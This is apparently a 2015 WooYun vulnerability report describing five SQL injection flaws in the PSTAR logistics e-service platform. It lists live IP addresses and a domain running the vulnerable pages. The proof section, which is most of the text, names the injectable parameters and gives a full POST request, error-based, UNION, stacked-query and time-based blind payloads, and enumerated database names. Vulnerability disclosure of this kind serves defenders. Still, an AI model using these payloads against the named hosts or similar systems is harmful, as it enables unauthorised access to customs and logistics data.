当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101757

漏洞标题：PSTAR-电子服务平台SQL注入漏洞（五处打包）

相关厂商：上海泛星计算机系统有限公司

漏洞作者： 路人甲

提交时间：2015-03-17 16:41

修复时间：2015-06-18 17:44

公开时间：2015-06-18 17:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-23： 细节向第三方安全合作伙伴开放
2015-05-14： 细节向核心白帽子及相关领域专家公开
2015-05-24： 细节向普通白帽子公开
2015-06-03： 细节向实习白帽子公开
2015-06-18： 细节向公众公开

简要描述：

上海泛星计算机系统有限公司是一家专业开发物流管理软件与国际货运管理软件的资深物流软件公司。

详细说明：

系统名称:PSTAR-电子服务平台
系统开发厂商：上海泛星计算机系统有限公司
系统架构：aspx+mssql
系统内大量物流报关信息。。。海关数据。。。

漏洞证明：

应乌云要求，五则案例：
SQL注入漏洞一：
漏洞文件：warehouse/warehouse_n_q.aspx
http://61.174.22.102/warehouse/warehouse_n_q.aspx
http://222.173.113.84:8888/warehouse/warehouse_n_q.aspx
http://122.227.225.98:8888/warehouse/warehouse_n_q.aspx
http://180.166.7.114:8888/warehouse/warehouse_n_q.aspx
http://www.kaseshanghai.com/warehouse/warehouse_n_q.aspx
等
如：http://61.174.22.102/warehouse/warehouse_n_q.aspx

1.png

</code>
' and 1>@@version--获取数据库版本信息：

1.png


' and 1>db_name()--
获取当前数据库：

1.png


SQL注入漏洞二：
漏洞文件：
custom/customall.aspx
注入参数：docuno
案例如下：
http://61.174.22.102/custom/customall.aspx
http://222.173.113.84:8888/custom/customall.aspx
http://122.227.225.98:8888/custom/customall.aspx
http://180.166.7.114:8888/custom/customall.aspx
http://www.kaseshanghai.com/custom/customall.aspx
http://61.174.22.102/custom/customall.aspx为例：
数据包如下：

POST /custom/customall.aspx HTTP/1.1
Host: 61.174.22.102
Proxy-Connection: keep-alive
Content-Length: 394
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://61.174.22.102
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://61.174.22.102/custom/customall.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: AspxAutoDetectCookieSupport=1; ASP.NET_SessionId=lblgjum5z140wq55xti33m3u; checkcode=2421
__VIEWSTATE=%2FwEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYCAgQPDxYCHgRUZXh0BVzmiJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K%2B35Zyo5rW35YWz6YCA5Zue5pelM%2BS4quW3peS9nOaXpeWQjuWPluWPr%2BWPlueahOWNleWtkGRkZAlstJqBhOSKde3tYOq1sU%2BTfi26&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=%2FwEWBAL3xdGfCALLoY6XBAKAvMiLDQLw9J%2BEBaZ3LKKE%2BwXtVzDhVOMxtIZw1F7U&docuno=aa&thblno=aa&btnQueryAll=%B2%E9%D1%AF


1.png


Place: POST
Parameter: docuno
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa' AND 1573=CONVERT(INT,(CHAR(58)
 CHAR(101) CHAR(113) CHAR(106) CHAR(58) (SELECT (CASE WHEN (1573=1573) THEN CHAR
(49) ELSE CHAR(48) END)) CHAR(58) CHAR(109) CHAR(114) CHAR(119) CHAR(58))) AND '
Mrog'='Mrog&thblno=aa&btnQueryAll=%B2%E9%D1%AF
    Type: UNION query
    Title: Generic UNION query (NULL) - 21 columns
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa' UNION ALL SELECT NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(58) CHAR
(101) CHAR(113) CHAR(106) CHAR(58) CHAR(83) CHAR(79) CHAR(82) CHAR(72) CHAR(86)
CHAR(90) CHAR(119) CHAR(108) CHAR(115) CHAR(90) CHAR(58) CHAR(109) CHAR(114) CHA
R(119) CHAR(58),NULL,NULL,NULL,NULL-- &thblno=aa&btnQueryAll=%B2%E9%D1%AF
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa'; WAITFOR DELAY '0:0:5'--&thbln
o=aa&btnQueryAll=%B2%E9%D1%AF
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa' WAITFOR DELAY '0:0:5'--&thblno
=aa&btnQueryAll=%B2%E9%D1%AF
---


1.png


当前数据库：

1.png


SQL注入漏洞三：
漏洞文件：
custom/customall.aspx
注入参数：thblno
部分案例：
http://61.174.22.102/custom/customall.aspx
http://222.173.113.84:8888/custom/customall.aspx
http://122.227.225.98:8888/custom/customall.aspx
http://180.166.7.114:8888/custom/customall.aspx
http://www.kaseshanghai.com/custom/customall.aspx
http://61.174.22.102/custom/customall.aspx为例：

Place: POST
Parameter: thblno
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa&thblno=aa' AND 1712=CONVERT(INT
,(CHAR(58) CHAR(101) CHAR(113) CHAR(106) CHAR(58) (SELECT (CASE WHEN (1712=1712)
 THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(109) CHAR(114) CHAR(119) CHAR(5
8))) AND 'YIoZ'='YIoZ&btnQueryAll=%B2%E9%D1%AF
    Type: UNION query
    Title: Generic UNION query (NULL) - 21 columns
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa&thblno=aa' UNION ALL SELECT NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CHAR(58) CHAR(101) CHAR(113)
 CHAR(106) CHAR(58) CHAR(112) CHAR(90) CHAR(113) CHAR(76) CHAR(88) CHAR(101) CHA
R(78) CHAR(74) CHAR(87) CHAR(121) CHAR(58) CHAR(109) CHAR(114) CHAR(119) CHAR(58
),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &btnQueryAll=%B2%E9%D1%AF
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa&thblno=aa'; WAITFOR DELAY '0:0:
5'--&btnQueryAll=%B2%E9%D1%AF
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwULLTE5MTIxMTQ2NjcPZBYCAgMPZBYkAgQPDxYCHgRUZXh0BVz
miJHlj7jpnIAz5Liq5bel5L2c55qE55CG5Y2V5pe26Ze077yM6K 35Zyo5rW35YWz6YCA5Zue5pelM S
4quW3peS9nOaXpeWQjuWPluWPr WPlueahOWNleWtkGRkAgUPDxYCHwBlZGQCBg8PFgIfAGVkZAIHDw8
WAh8AZWRkAggPDxYCHwBlZGQCCQ8PFgIfAGVkZAIKDw8WAh8AZWRkAgsPDxYCHwBlZGQCDA8PFgIfAGV
kZAINDw8WAh8AZWRkAg4PDxYCHwBlZGQCDw8PFgIfAGVkZAIQDw8WAh8AZWRkAhEPDxYCHwBlZGQCEg8
PFgIfAGVkZAITDw8WAh8AZWRkAhQPDxYCHwBlZGQCFQ8PFgIfAGVkZGQtj5xRNoYM3/ps4SaFWuKQjtA
GdQ==&__VIEWSTATEGENERATOR=FF121069&__EVENTVALIDATION=/wEWBALF48S/AQLLoY6XBAKAvM
iLDQLw9J EBbu2co2Zo3a0p4zy0XgBQHFyafRl&docuno=aa&thblno=aa' WAITFOR DELAY '0:0:5
'--&btnQueryAll=%B2%E9%D1%AF
---


数据库：
available databases [9]:
[*] hyeport
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pstarnet
[*] pubs
[*] tempdb
[*] wavefax5
SQL注入四：
漏洞文件：bill/bill_q.aspx
注入参数：bkno
部分案例如下：
http://61.174.22.102/bill/bill_q.aspx
http://222.173.113.84:8888/bill/bill_q.aspx
http://122.227.225.98:8888/bill/bill_q.aspx
http://180.166.7.114:8888/bill/bill_q.aspx
http://www.kaseshanghai.com/bill/bill_q.aspx
即业务编号处可直接执行SQL语句：
如：http://61.174.22.102/bill/bill_q.aspx

1.png


当前数据库版本信息：

1.png


当前数据库信息：

1.png


SQL注入漏洞五：
漏洞文件：bill/bill_q.aspx
注入参数：
SHREF_NO
同时可载入如下post包：

__VIEWSTATE=%2FwEPDwULLTEwODk0NTMzODYPZBYCAgMPZBYGAgEPDxYCHgdWaXNpYmxlZ2RkAgIPDxYCHwBnZGQCAw8PFgIeBFRleHQFDOWIhuaPkOWNleWPt2RkZHXs65Fc9gBeF05SMW%2BupJlsT8UC&__VIEWSTATEGENERATOR=ADE19E14&__EVENTVALIDATION=%2FwEWBALT%2B72LAgKSoqLWDgLl%2BdGUCgL9kpmPAXw9gDDHrB3pzMPS6Bp9PR9i%2FiCA&bkno=aaa&SHREF_NO=aaaa&btnOk=%B2%E9%D1%AF%26%B4%F2%D3%A1%D4%A4%C0%C0


如：http://61.174.22.102/bill/bill_q.aspx分提单号可直接执行SQL语句：

1.png


1.png


其他如上！

修复方案：

参数过滤啊 毕竟海关数据

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-03-20 17:42

厂商回复：

CNVD确认所述漏洞情况，暂未建立与软件生产厂商（或网站管理单位）的直接处置渠道，待认领。

最新状态：

暂无